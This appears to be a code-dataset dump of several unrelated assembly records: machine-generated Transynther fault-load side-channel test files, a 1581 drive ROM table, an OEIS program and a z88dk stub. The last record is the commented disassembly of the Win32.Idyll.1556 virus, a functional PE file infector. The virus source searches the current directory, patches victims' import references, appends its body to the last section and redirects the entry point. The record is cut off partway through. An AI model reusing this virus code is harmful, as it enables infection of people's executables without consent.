hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
922466f5fd72b798ed275f64aab5869be91164b9
7,991
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1466.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1466.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0xca_notsx.log_21829_1466.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r13 push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1cbc1, %r13 nop nop nop sub %rdx, %rdx mov $0x6162636465666768, %rbx movq %rbx, %xmm2 vmovups %ymm2, (%r13) add %r11, %r11 lea addresses_A_ht+0x60c1, %rdx nop nop nop and %rbp, %rbp mov (%rdx), %r11w nop nop nop xor %rdx, %rdx lea addresses_D_ht+0xa41, %rsi lea addresses_D_ht+0x17841, %rdi clflush (%rsi) sub %r13, %r13 mov $119, %rcx rep movsq nop nop nop nop and %rbx, %rbx lea addresses_normal_ht+0x19a41, %rcx xor %rsi, %rsi mov $0x6162636465666768, %rdx movq %rdx, %xmm6 and $0xffffffffffffffc0, %rcx movaps %xmm6, (%rcx) add %rcx, %rcx lea addresses_WT_ht+0x5241, %r13 nop cmp $46599, %rcx mov $0x6162636465666768, %rsi movq %rsi, (%r13) nop add $19122, %r13 lea addresses_A_ht+0x69b6, %rcx nop nop nop nop inc %rdi mov $0x6162636465666768, %rdx movq %rdx, (%rcx) nop nop xor %rbp, %rbp lea addresses_UC_ht+0xcb31, %r13 nop nop nop cmp $23262, %rdi movups (%r13), %xmm7 vpextrq $0, %xmm7, %r11 nop nop nop nop nop and %rsi, %rsi lea addresses_normal_ht+0x16241, %rbp nop nop and %rbx, %rbx mov $0x6162636465666768, %rcx movq %rcx, %xmm1 movups %xmm1, (%rbp) nop nop add %r13, %r13 lea addresses_normal_ht+0xa5ab, %rsi lea addresses_WT_ht+0xf4a1, %rdi nop nop nop nop add %rdx, %rdx mov $100, %rcx rep movsl nop nop nop nop xor $47499, %rdx lea addresses_WC_ht+0x4f19, %rsi lea addresses_normal_ht+0xa541, %rdi clflush (%rsi) clflush (%rdi) dec %rbp mov $127, %rcx rep movsw nop nop inc %r11 lea addresses_A_ht+0x5673, %rbp nop nop sub $52131, %r13 mov $0x6162636465666768, %rcx movq %rcx, (%rbp) nop nop add $16114, %rsi lea addresses_D_ht+0x4dc1, %rsi lea addresses_normal_ht+0x2641, %rdi clflush (%rdi) nop nop nop nop add %rbp, %rbp mov $87, %rcx rep movsq nop nop dec %rdx lea addresses_A_ht+0xe241, %rbp clflush (%rbp) nop nop add $63374, %rcx movb (%rbp), %dl nop nop nop nop nop inc %rbx lea addresses_WT_ht+0x19641, %rsi lea addresses_A_ht+0x1a241, %rdi nop nop nop sub %rbx, %rbx mov $27, %rcx rep movsb xor $57821, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r12 push %r14 push %rax push %rcx push %rdi // Store lea addresses_normal+0x4c55, %rcx nop nop nop nop nop add $64164, %r12 movw $0x5152, (%rcx) nop nop sub $29909, %r12 // Faulty Load lea addresses_WC+0x15a41, %r11 nop nop add $51295, %rax movaps (%r11), %xmm1 vpextrq $0, %xmm1, %r12 lea oracles, %r11 and $0xff, %r12 shlq $12, %r12 mov (%r11,%r12,1), %r12 pop %rdi pop %rcx pop %rax pop %r14 pop %r12 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': True, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_WC_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 10, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'REPM'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.149573
2,999
0.660368
d84033ddf31f5eb4a60e0c25a40433f8066a4ac5
3,980
asm
Assembly
1581/64tass/romtbl.asm
silverdr/assembly
c2851f7033223e089285dce22443b7e219ed4f61
[ "Unlicense" ]
23
2015-03-23T15:16:57.000Z
2022-03-18T12:43:42.000Z
1581/64tass/romtbl.asm
silverdr/assembly
c2851f7033223e089285dce22443b7e219ed4f61
[ "Unlicense" ]
null
null
null
1581/64tass/romtbl.asm
silverdr/assembly
c2851f7033223e089285dce22443b7e219ed4f61
[ "Unlicense" ]
8
2016-04-13T11:19:35.000Z
2021-12-22T07:39:00.000Z
; command tables and information cmdtbb .word fstrd ; fast read drv #0 - 0000 .word ndkrd ; fast read drv #1 - 0001 .word fstwrt ; fast write drv #0 - 0010 .word ndkwrt ; fast write drv #1 - 0011 .word fstsek ; seek disk drv #0 - 0100 .word ndkrd ; seek disk drv #1 - 0101 .word fstfmt ; format disk drv #0 - 0110 .word fstfmt ; format disk drv #1 - 0111 .word cpmint ; interleave disk drv #0 - 1000 .word cpmint ; interleave disk drv #1 - 1001 .word querdk ; query disk format - 1010 .word ndkrd ; seek disk drv #1 - 1011 .word inqst ; return disk status - 1100 .word ndkrd ; return disk status - 1101 .word duplc1 ; backup drv0 to drv1 - 1110 .word duplc1 ; backup drv1 to drv0 - 1111 .word fstrd ; fast read drv #0 -1 0000 .word ndkrd ; fast read drv #1 -1 0001 .word fstwrt ; fast write drv #0 -1 0010 .word ndkwrt ; fast write drv #1 -1 0011 .word fstsek ; seek disk drv #0 -1 0100 .word ndkrd ; seek disk drv #1 -1 0101 .word fstfmt ; format disk drv #0 -1 0110 .word fstfmt ; format disk drv #1 -1 0111 .word unused .word unused .word querdk ; query disk format -1 1010 .word ndkrd ; seek disk drv #1 -1 1011 .word dumpbuf ; dump track cache buffer -1 1100 .word dumpbuf ; dump track cache buffer -1 1101 .word chgutl ; utility -1 1110 .word fstload ; fast load utility -1 1111 bamsiz .byte 6 ; # bytes/track in bam dsknam .byte 4 ; offset of dsk name in bam sec ; command search table cmdtbl .text 'VI/MBUP&CRSN' ; validate-dir init-drive duplicate ; memory-op block-op user ; position dskcpy utlodr rename scratch new ncmds =*-cmdtbl ; jump table low cjumpl .byte <jverdir,<jintdrv,<jpart .byte <jmem,<jblock,<juser .byte <jrecord .byte <jutlodr .byte <jdskcpy .byte <jrename,<jscrtch,<jnew cjumph .byte >jverdir,>jintdrv,>jpart .byte >jmem,>jblock,>juser .byte >jrecord .byte >jutlodr .byte >jdskcpy .byte >jrename,>jscrtch,>jnew val=0 ; validate (verify) cmd # pcmd =9 ; images for cmds .byte %01010001 ; dskcpy struct =*-pcmd ; cmds not parsed .byte %11011101 ; rename .byte %00011100 ; scratch .byte %10011110 ; new ldcmd =*-struct ; load cmd image .byte %00011100 ; load ; pgdrpgdr ; fs1 fs2 ; bit reps: not pattern ; not greater than one file ; not default drive(s) ; required filename modlst .text 'RWAM' ; mode table nmodes =*-modlst tplst .text 'DSPULC' ; file type table typlst .text 'DSPURC' ; del,seq,prog,user,rel,cbm ntypes =*-typlst tp1lst .text 'EERSEB' tp2lst .text 'LQGRLM' er00 .byte 0 ; err flg vars for bit er0 .byte $3f er1 .byte $7f er2 .byte $bf er3 .byte $ff offset .byte 1,$ff,$ff,1,0 ; for recovery
47.951807
71
0.451759
f03abfa359aaf6c4edbf81601a00882ae1b73c73
287
asm
Assembly
programs/oeis/035/A035013.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/035/A035013.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/035/A035013.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A035013: One third of 9-factorial numbers. ; 1,12,252,7560,294840,14152320,806682240,53241027840,3993077088000,335418475392000,31193918211456000,3181779657568512000,353177541990104832000,42381305038812579840000 mov $1,1 mov $2,3 lpb $0 sub $0,1 add $2,9 mul $1,$2 lpe mov $0,$1
23.916667
167
0.777003
c32c081435c85d90b71c7b2dba0b5f36ddea416c
112
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/cosh.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/cosh.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_ix/cosh.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
SECTION code_clib SECTION code_fp_math48 PUBLIC _cosh EXTERN cm48_sdccix_cosh defc _cosh = cm48_sdccix_cosh
11.2
29
0.848214
5f58b8b4a3cc0f60b05a10f03d8534ff063d7cc0
18,462
asm
Assembly
Win32/Win32.Idyll/Win32.Idyll.1556.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
Win32/Win32.Idyll/Win32.Idyll.1556.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
Win32/Win32.Idyll/Win32.Idyll.1556.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
; ; Win32.Idyll.1556 ; disassembly done by peon ; ; ; ; This is a noninteresting,nonresident infector of PE files. ; Infects files in the current directory.No payload or anything interesting. ; Assumed to be compiled with /m switch so NOP's after jumps included in the source. ; ; Sorry for the annoying lack of comments-most of the stuff is self-explanatory ; (so this is not the one you'll learn w32 coding from) ; ; ;compilation: ;tasm32 /m /ml idyll.asm ;tlink32 idyll,,,import32.lib /Tpe ;pewrsec idyll.exe ; ; .386 ;the usual stuff .model flat extrn GetModuleHandleA:proc ;---\ ; >virus needs these fns to be imported by host extrn GetProcAddress:proc ;---/ extrn ExitProcess:proc ; ;struc def so no need of inc's ; _find_data struc _attr dd ? _creatlo dd ? _creathi dd ? _lastalo dd ? _lastahi dd ? _lastwlo dd ? _lastwhi dd ? _sizehi dd ? ;@1C _sizelo dd ? ;@20 _res0 dd ? _res1 dd ? _fname db 260 dup(?) ;@2C _fuck db 10 dup (?) ;idyll allocates less than the real _find_data ends ;size of finddata structure .data dd 0 ;tlink32 stuff .code host_start: push 0 call ExitProcess ; ;we need some fixups like filling fn adds and encrypting api strings ;before starting the 1st generation sample ; ; This is where control is received from the loader... X-D fixups: mov eax,idyll_gmh ;getmodulehandle mov eax,[eax] ;get dispatcher add mov idyll_gmh,eax ;store it as virus does during ;infection mov eax,idyll_gpa ;getprocaddress mov eax,[eax] mov idyll_gpa,eax ;do the same mov esi,offset idyll_apinames ;ptr to apinames mov ecx,idyll_length_of_apinames;# of bytes to crypt fixup_xorloop: xor byte ptr [esi],17h ;crypt byte inc esi ;inc ptr loop fixup_xorloop ;loop jmp idyll ;launch virus ;the author (the false demon prophet) coded a host with 69h bytes of size ;i fix this with an org directive org 69h ; ;----------------------- infective code begins here ---------------------------- ; idyll_start equ $ idyll_size equ idyll_end-idyll_start ; ;idyll main ; idyll: call idyll_flexible_entry_point ;will calculate delta offset idyll_flexible_entry_point: mov ebp,[esp] ;get offset from stack sub ebp,offset idyll_flexible_entry_point ;fix ebp add esp,4 ;perform pop off the stack mov eax,[ebp+offset idyll_hostentry] ;entry point of host lea edi,[ebp+idyll_hostentry_load] ;get add of instruction to patch inc edi ;fix ptr (seems the author wasnt ; familiar with equ $-4 stuff) mov [edi],eax ;patch code for return to host mov edi,[ebp+offset idyll_gmh] mov eax,[edi] ;get fn add mov [ebp+idyll_getmodulehandlea_add],eax;store fn add lea edi,[ebp+offset idyll_k32string] ;fetch ptr to 'KERNEL32' string push edi ;pass param call [ebp+idyll_getmodulehandlea_add] ;get a handle to KERNEL32.dll mov [ebp+offset idyll_k32add],eax ;store it mov edi,[ebp+offset idyll_gpa] mov eax,[edi] ;get fn add mov [ebp+idyll_getprocaddress_add],eax;store fn add call idyll_xorloop_on_apinames ;decrypt api strings call idyll_lookup_apis ;get fn addresses call idyll_xorloop_on_apinames ;encrypt api strings lea edi,[ebp+offset idyll_filemask] ;filemask for searches call idyll_init ;init routines cmp eax,-1 ;failed? je idyll_hostentry_load ;yes abort nop nop ;nops for match nop nop call idyll_infect ;try to infect idyll_mainloop: call idyll_findnext ;find next victim... cmp eax,0 ;failed? je idyll_hostentry_load ;if yes execute host nop nop nop nop call idyll_infect ;otherwise infect jmp idyll_mainloop ;and loop... idyll_hostentry_load: ;@10F5 mov edi,0 ;this will be patched by virus push edi ;store on TOS ret ;jump to host ; ;allocate memory for finddata structure and call FindFirstFileA() ; idyll_init: ;@1093(8293) push edi ;store reg push 4 ;acces protection:PAGE_READWRITE push 1000h ;type of allocation:MEM_COMMIT push size _find_data ;size of the region to allocate push 0 ;address of region to reserve or commit call [ebp+offset idyll_virtualalloc_add];call VirtualAlloc mov [ebp+offset idyll_finddata_add],eax ;store add pop edi push eax push edi call [ebp+offset idyll_findfirstfilea_add] ;call FindFirstFileA() mov [ebp+offset idyll_findhandle],eax ;store handle ret ; ;launch FindNextFileA() ; idyll_findnext: mov eax,[ebp+offset idyll_finddata_add] push eax ;store param mov eax,[ebp+offset idyll_findhandle] push eax ;store param call [ebp+offset idyll_findnextfilea_add];call fn ret ;back to caller ; ;infection routine ; idyll_infect: ;@10D3 xor eax,eax mov [ebp+offset idyll_sectsize],eax call idyll_mapfile ;try to map file cmp eax,0 ;failed? je idyll_infect_return_failure call idyll_testfile ;file can be infected? test eax,eax ;eax zero if yes jne idyll_infect_fail ;possibly already infected,abort mov edi,[ebp+offset idyll_peheader] ;fetch PE header add edi,78h ;start of RVA list add edi,8 ;ptr to imports RVA mov ebx,[edi] ;get value call idyll_infect_findimports mov esi,ebx ; ;scan imports for KERNEL32.dll module and GetModuleHandleA + GetProcAddress ;fns to patch virus before moving code into the victim ; idyll_infect_importloop: mov ebx,[esi+0ch] call idyll_infect_findimports mov edi,ebx call idyll_infect_findk32 cmp eax,0 je idyll_infect_k32found nop nop nop nop cmp byte ptr [edi],0 ;endmarker? je idyll_infect_fail add esi,14h ;next one.. jmp idyll_infect_importloop ;and branch idyll_infect_k32found: push esi lea edi,[ebp+offset idyll_gmhstring] ;GetModuleHandleA string mov ebx,[esi] call idyll_infect_findimports ;find imports rva mov ecx,16 ;size of gmh string call idyll_infect_find_fn ;find fn cmp eax,-1 ;failed? pop esi je idyll_infect_fail ;yes abort mov edi,[esi+10h] lea ebx,[eax*4] add edi,ebx xchg edi,ebx mov edi,[ebp+offset idyll_peheader] add ebx,[edi+34h] ;add imagebase mov [ebp+offset idyll_gmh],ebx ;store add of GetModuleHandleA push esi lea edi,[ebp+offset idyll_gpastring] ;GetProcAddress string mov ebx,[esi] call idyll_infect_findimports mov ecx,0eh ;size of string call idyll_infect_find_fn cmp eax,-1 pop esi je idyll_infect_fail mov edi,[esi+10h] lea ebx,[eax*4] add edi,ebx xchg ebx,edi mov edi,[ebp+offset idyll_peheader] add ebx,[edi+34h] ;add imagebase mov [ebp+offset idyll_gpa],ebx mov edi,[ebp+offset idyll_peheader] ;needless push edi xor ecx,ecx mov cx,[edi+6] ;get object count dec cx ;counting starts from 1 mov esi,[ebp+offset idyll_1stsec] ;get ptr to 1st entry idyll_infect_getlastentry: add esi,40 ;size of each entry loop idyll_infect_getlastentry ;get ptr to last entry mov edx,[esi+0ch] ;get section RVA add esi,16 ;esi points to PhysOffset add edx,[esi] ;RVA+PhysOffset push edx mov ebx,[esi] ;PhysOffset of last section mov edi,[ebp+offset idyll_peheader] ;needless again mov eax,[edi+3ch] ;get file alignment unit xor edx,edx ;zero reg ; ;increase section PhysSize by file alignment units ;until its larger than virus size ; idyll_infect_fixsize: add edx,eax ;add filealign cmp edx,idyll_size ;virus size jl idyll_infect_fixsize ;loop if section smaller than virus mov eax,[esi+4] add eax,[esi] mov [ebp+offset idyll_sectsize],edx add edx,ebx mov [esi],edx ;set new PhysSize mov [esi-8],edx ;set new VirtSize pop edx pop edi push eax mov ebx,[edi+28h] ;get entry RVA add ebx,[edi+34h] ;add imagebase mov [ebp+offset idyll_hostentry],ebx ;save restart address mov [edi+28h],edx ;modify host entry RVA in PE header mov edx,0e0000020h ;object flags:[CERW] mov [esi+14h],edx ;set flags call idyll_unmap_close ;unmap and close file call idyll_mapfile ; test eax,eax je idyll_infect_fail nop nop nop nop call idyll_testfile ;? pop ebx mov edi,[ebp+offset idyll_finddata_add] ;why? lea esi,[ebp+offset idyll_start] mov edi,[ebp+offset idyll_mappedadd] push edi add edi,ebx mov ecx,idyll_size ;virus size rep movsb ;move virus into victim pop edi add edi,[edi+3ch] ;ptr to PE header mov [edi+58h],'Wild' ;mark file infected call idyll_unmap_close ;unmap and close file idyll_infect_return_success: mov eax,1 ;fucking waste of space to ret ;return nonzero value idyll_infect_fail: call idyll_unmap_close idyll_infect_return_failure: xor eax,eax ret ; ;subroutine to ;determine whether a file can be infected ;in: eax:va of mapped file ;out: eax:zero if file can be infected ; idyll_testfile: mov ebx,eax ;va of mapped file into ebx cmp word ptr [ebx],'ZM' ;exe? jne idyll_testfile_return_failure;nope abort nop nop nop nop add eax,dword ptr [ebx+3ch] ;get ptr to PE header mov [ebp+offset idyll_peheader],eax xchg edi,eax ;load ptr into edi cmp word ptr [edi],'EP' ;a PE? jne idyll_testfile_return_failure;nope abort nop nop nop nop cmp [edi+58h],'Wild' ;already infected? je idyll_testfile_return_failure;yes abort nop nop nop nop add edi,74h mov ecx,[edi] ;number of interesting rva's idyll_testfile_rva_loop: add edi,8 ;skip item loop idyll_testfile_rva_loop ;so we'll get a ptr to sectiontable add edi,4 mov [ebp+offset idyll_1stsec],edi;store ptr to 1st entry in ;sectiontable idyll_testfile_return_success: xor eax,eax ;and return succes to caller ret idyll_testfile_return_failure: xor eax,eax ;return failure to caller dec eax ret ; ;find a function in the victims imports ;(called when infecting to get GetModuleHandleA and GetProcAddress) ; idyll_infect_find_fn: ;@12B0(84B0) xor eax,eax idyll_infect_find_fn_loop: mov esi,[ebx+4*eax] cmp esi,0 ;endmarker? je idyll_infect_find_fn_return_failure nop nop nop nop push ebx mov ebx,esi call idyll_infect_findimports inc ebx inc ebx mov esi,ebx pop ebx push edi push ecx repz cmpsb ;compare names cmp ecx,0 ;found? pop ecx pop edi je idyll_infect_find_fn_done ;yes nop nop nop nop inc eax ;nope,loop jmp idyll_infect_find_fn_loop idyll_infect_find_fn_done: ret idyll_infect_find_fn_return_failure: xor eax,eax ;return failure dec eax ret ; ;find KERNEL32 string in import module names list ; idyll_infect_findk32: ;@12E2(84E2) push edi push esi mov ecx,8 ;size of string push ecx lea esi,[ebp+offset idyll_dllnamebuffer] ;destination push esi ; ;uppercase input. ; idyll_infect_findk32_loop: mov ah,[edi] ;get char cmp ah,'a' ;lowercase? jl idyll_infect_findk32_uppercase ;nope,store char nop nop nop nop sub ah,32 ;convert to upper idyll_infect_findk32_uppercase: mov [esi],ah ;and store char inc esi ;increase dest ptr inc edi ;increase src ptr loop idyll_infect_findk32_loop ;branch pop esi ;get ptr back pop ecx ;get str len back lea edi,[ebp+offset idyll_k32string] ;ptr to 'KERNEL32' string repz cmpsb ;compare strings mov eax,ecx ;eax hold return value,zero if K32 found pop esi ;get regs back pop edi ret ;return to caller ; ;find the section that contains imports ; idyll_infect_findimports: ;@1314(8514) push edi push ecx push esi push eax mov edi,[ebp+offset idyll_peheader] mov ecx,[edi+6] ;get object count..bug:oc is a 16bit value mov esi,[ebp+offset idyll_1stsec] ;ptr to 1st entry in section table idyll_infect_findimports_loop: mov eax,[esi+0ch] ;fetch section RVA cmp ebx,eax ;compare them jle idyll_infect_findimports_found nop nop nop nop add esi,28h ;next section loop idyll_infect_findimports_loop ;loop idyll_infect_findimports_found: je idyll_infect_findimports_found_at_sectionstart nop ;^ nop ;| nop ;+--start of imports equals to start of some section? nop sub esi,28h ;nope,previous section... idyll_infect_findimports_found_at_sectionstart: mov eax,[esi+0ch] ;fetch section RVA mov ecx,ebx sub ecx,eax mov ebx,[esi+14h] ;PhysOffset add ebx,[ebp+offset idyll_mappedadd] add ebx,ecx pop eax pop esi pop ecx pop edi ret ; ;map the file into the processes address space ; idyll_mapfile: ;@1357(8557) mov edi,[ebp+offset idyll_finddata_add];ptr to finddata structure add edi,2ch ;fix ptr to point to the name of the found file push edi ;parameter for open push 80h ;fileattribute normal push edi ;param for setfileattr call [ebp+offset idyll_setfileattributesa_add];call fn to set ;file attr to normal test eax,eax ;failed? je idyll_mapfile_return_failure ;yes abort nop nop nop nop pop edi ;get ptr to filename back push 0 ;no hTemplate push 80h ;attribute normal push 3 ;OPEN_EXISTING push 0 ;no sa struct push 0 ;prevents from being shared push 0c0000000h ;r/w push edi ;ptr to filename call [ebp+offset idyll_createfilea_add] ;call CreateFileA() mov [ebp+offset idyll_handle],eax ;store handle cmp eax,-1 ;open failed? je idyll_mapfile_return_failure ;yes abort nop nop nop nop ; ;now the file's opened..calculate the size of filemapping object ;and map file ; mov edi,[ebp+offset 